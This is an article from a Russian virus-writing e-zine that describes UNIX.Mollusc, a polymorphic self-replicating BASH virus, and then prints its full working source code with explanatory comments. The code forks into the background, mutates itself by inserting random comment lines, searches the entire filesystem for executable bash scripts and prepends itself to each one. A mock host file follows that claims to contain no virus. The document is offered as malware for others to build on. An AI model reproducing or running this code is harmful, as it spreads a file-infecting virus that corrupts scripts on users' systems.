- [Digital Virus Labs #11] - [Page 15] - UNIX.Mollusc (c) by Gobleen Warrior/SMF <> Нерезидентый UNIX вирус. Написан в BASH-скрипте, и только такие же скрипты заражает, в силу того, что некоторые функции и переменные, используемые вирусом, например переменная $RANDOM, определены только в BASH. При запуске зараженного файла вирус запускает фоновым процессом свою копию, выполняющую вирусные действия, а сам передает управление носителю, в связи с чем временных задержок перед запуском оригинального файла нету. По возможности пытается не повредить работе своих собратьев - имена временных файлов (почти всех) - уникальны, и совпадения практически исключены. Фоновая копия создает полиморфную копию вируса (метод полиморфности - внедрение в случайные места кода комментариев случайной длинны, состоящих из случайных знаков). После чего производит поиск во всем дереве каталогов файлов с атрибутами запуска любого вида - "хозяин", "группа", "другие пользователи". Найденные файлы поражаются в начало полиморфной копией. Таким образом, вирус является медленным полиморфиком. Как метку заражения использует присуствующую в теле вируса строку "mollusc". Как уже было сказанно, заражает только файлы, первой строкой которых является "#!/bin/bash". 28.02.01 (C) Gobleen Warrior/SMF. Нижеследующий код для облегчения понимания разбавлен комментариями. Рабочая версия находится в одноименном архиве. Для тестов надо использовать именно ее, так как она без лишних коментариев и в табуляции Unix - один символ переноса строки. <------------------------------ РУБИТЬ ЗДЕСЬ -------------------------------> #!/bin/bash # Определение типа кода - путь до его интепретатора if [ "$1" = gw_inf ] ; then # Если первый параметр = gw_inf - вирус работает get_rnd () { a=`expr $(($RANDOM % $(($2 - $1)))) + $1` # Генератор случайных чисел RANDOM=$RANDOM # Заданного диапазона return $a } our_length=42 # Количество строк в вирусе RANDOM=$$ # Разогрев генератора echo -n "`cat $0`" | grep -v '^#' | head -n $our_length > /tmp/..gw$$c # выделение чистого штамма вируса get_rnd 3 `expr $our_length / 2` split -l $? /tmp/..gw$$c /tmp/..gw$$i # Раздолбать тело на кусочки for eachpiece in /tmp/..gw$$i* ; do # случайной длинны get_rnd 15 50 # Генерация строки комментариев symbols=$? # случайной длинны while [ $symbols -gt 0 ] ; do get_rnd 32 126 # Генерация случайных символов comment=$comment`echo -e '\'$(printf %o $?)` # Создание строки symbols=`expr $symbols - 1` done echo '# '$comment >> $eachpiece # Рассовывание строк по вирусу comment="" done cat /tmp/..gw$$i* >> /tmp/..clear_gw # Склеивание кусочков в новый штамм rm /tmp/..gw$$* find / -type f -perm +111 -exec bash -c \ # Поиск файлов "if [ -z \"\`cat {} | grep mollusс\`\" ] ; then # Уже заражен? if [ -n \"\`file {} | grep -s Bourne-Again\`\" ] ; then # Скрипт BASH? if [ -n \"\`head -n 1 {} | grep -s !/bin/bash\`\" ] ; then # Еще раз BASH? hs=\`head -n 1 {} | wc -c | awk '{print \$1}'\` fs=\`wc -c {} | awk '{print \$1}'\` ts=\`expr \$fs - \$hs\` tail -c \$ts {} > '/tmp/..vic'\$$'_gw' # Тело жертвы - во временный файл echo '#!/bin/bash' > {} # А вирус - на место жертвы cat /tmp/..clear_gw >> {} # Свежеморфированный штамм cat '/tmp/..vic'\$$'_gw' >> {} # И тело жертвы rm /tmp/..vic*_gw # Удалим временное файло fi; fi; fi" \; rm /tmp/..clear_gw # Удалим штамм - он больше не нужен exit 0 # Выйдем на хрен с кодом 0 - без ошибок else # А если это нас юзер запустил, $0 gw_inf & # То запустим вирус в фоновом режиме fi : UNIX.Mollusc by Gobleen Warrior/SMF # Имя - отчество :) ########################## HOST FILE GOES HERE ############################## echo ----------------------------- # А это - ЯКОБЫ носитель echo "NOW WORKING HOST FILE... THERE NO ANY VIRUSES HERE..." echo ----------------------------- <------------------------------ РУБИТЬ ЗДЕСЬ ------------------------------->